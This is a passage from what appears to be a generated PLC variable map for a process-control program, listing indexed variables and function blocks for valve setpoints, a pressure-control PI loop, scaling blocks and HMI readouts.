+159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; 